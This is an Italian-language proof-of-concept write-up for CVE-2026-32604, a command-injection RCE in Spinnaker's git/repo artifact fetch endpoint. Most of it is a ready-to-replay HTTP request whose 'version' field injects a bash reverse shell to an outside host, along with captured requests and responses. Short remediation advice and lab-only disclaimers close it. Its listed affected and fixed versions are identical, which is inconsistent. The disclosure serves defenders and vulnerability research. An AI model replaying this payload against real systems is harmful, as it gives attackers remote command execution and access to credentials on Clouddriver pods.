
Proof-of-concept di exploit per CVE-2026-32604, un RCE da command injection nella gestione degli artefatti GitRepo di Spinnaker tramite il campo version.
CVE-2026-32604 - Esecuzione di codice in remoto in Spinnaker tramite il tipo di artefatto
git/repo.
Questa è una vulnerabilità di command injection / esecuzione di codice in remoto nella gestione degli artefatti GitRepo di Spinnaker.
La funzionalità vulnerabile consente a valori controllati dall'utente, forniti tramite il campo version di un artefatto git/repo, di raggiungere l'esecuzione di comandi senza essere adeguatamente sanificati.
L'endpoint vulnerabile è:
PUT /artifacts/fetch
La parte importante è che l'applicazione espone il provider di artefatti git/repo tramite:
GET /artifacts/credentials
che restituisce:
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Questo conferma che il tipo di artefatto git/repo è disponibile.
La richiesta vulnerabile viene inviata a:
PUT /artifacts/fetch
con un corpo JSON contenente un artefatto di repository Git.
Il parametro version può essere manipolato con sintassi shell.
Per i test, ho utilizzato:
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #
La richiesta completa catturata durante il PoC era:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Il parametro importante qui è:
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"
L'espressione shell iniettata viene aggiunta dopo il valore previsto di branch/versione Git.
Il # viene utilizzato per commentare il resto del comando dopo l'espressione iniettata.
La richiesta è stata accettata dall'applicazione vulnerabile.
La risposta HTTP catturata è stata:
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
[
{
"name": "embedded-artifact",
"type": "artifacts-embedded",
"types": [
"embedded/base64",
"remote/base64"
]
},
{
"name": "front50ArtifactCredentials",
"type": "artifacts-front50",
"types": [
"front50/pipelineTemplate"
]
},
{
"name": "lab-gitrepo",
"type": "git/repo",
"types": [
"git/repo"
]
},
{
"name": "custom-artifact",
"type": "artifacts-custom",
"types": [
"custom/object"
]
}
]
Il punto rilevante è che il tipo di artefatto vulnerabile è presente e il valore version malevolo viene accettato dall'endpoint di recupero degli artefatti.
Prima di testare l'endpoint vulnerabile, ho verificato che il target rispondesse:
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Risposta:
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive
{"status":"UP"}
Il PoC è essenzialmente:
Target
│
├── GET /health
│ └── {"status":"UP"}
│
├── GET /artifacts/credentials
│ └── tipo di artefatto git/repo esposto
│
└── PUT /artifacts/fetch
│
├── type = git/repo
├── reference = repository/riferimento Git controllato dall'attaccante
└── version = comando shell iniettato
│
└── esecuzione del comando
Il problema non è semplicemente che l'endpoint accetta un nome di branch Git. Il problema è che i dati dell'artefatto Git controllati dall'attaccante raggiungono un contesto di esecuzione di comandi senza essere limitati in modo sicuro alla sintassi prevista di versione/branch Git.
Per una rapida riproduzione, la richiesta principale è:
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json
{
"type": "git/repo",
"name": "https://github.com/spinnaker/spinnaker.git",
"reference": "https://github.com/spinnaker/spinnaker.git",
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
"artifactAccount": "lab-gitrepo"
}
Il payload sopra è destinato esclusivamente a un ambiente di laboratorio controllato.
Il percorso vulnerabile coinvolge l'implementazione dell'artefatto GitRepo che elabora informazioni sull'artefatto controllate dall'attaccante.
Il valore previsto per version è qualcosa di simile a:
main
ma l'applicazione non vincola sufficientemente il valore a quel formato previsto.
Invece, è possibile introdurre sintassi shell:
main; <command> #
che cambia il significato del comando risultante.
Questo trasforma un'operazione di recupero di artefatti in esecuzione arbitraria di comandi nel contesto del servizio Spinnaker Clouddriver vulnerabile.
Lo sfruttamento riuscito può comportare l'esecuzione arbitraria di comandi sul pod Clouddriver interessato.
A seconda dei permessi e dell'ambiente del pod compromesso, ciò può potenzialmente consentire a un attaccante di:
L'avviso ufficiale di Spinnaker rileva specificamente che lo sfruttamento può esporre credenziali, rimuovere file o iniettare risorse.
Secondo l'avviso di sicurezza di Spinnaker, le linee di rilascio interessate includono versioni precedenti a:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
Le versioni corrette sono:
2025.3.2
2025.4.2
2026.0.1
2026.1.0
La vulnerabilità è tracciata come CVE-2026-32604 ed è classificata come CWE-20: Improper Input Validation.
Aggiornare Spinnaker a una release corretta.
L'avviso upstream elenca anche la disabilitazione del tipo di artefatto git/repo come workaround per le installazioni che non possono aggiornare immediatamente.
Dove possibile, si dovrebbero utilizzare le release correnti di Spinnaker invece di rimanere su un ramo di rilascio interessato.
Questo PoC è fornito per ricerca sulla sicurezza, validazione di vulnerabilità e test autorizzati.
Eseguirlo solo contro sistemi di proprietà o per i quali si dispone di esplicita autorizzazione al test.
Ho testato la vulnerabilità in un ambiente di laboratorio isolato.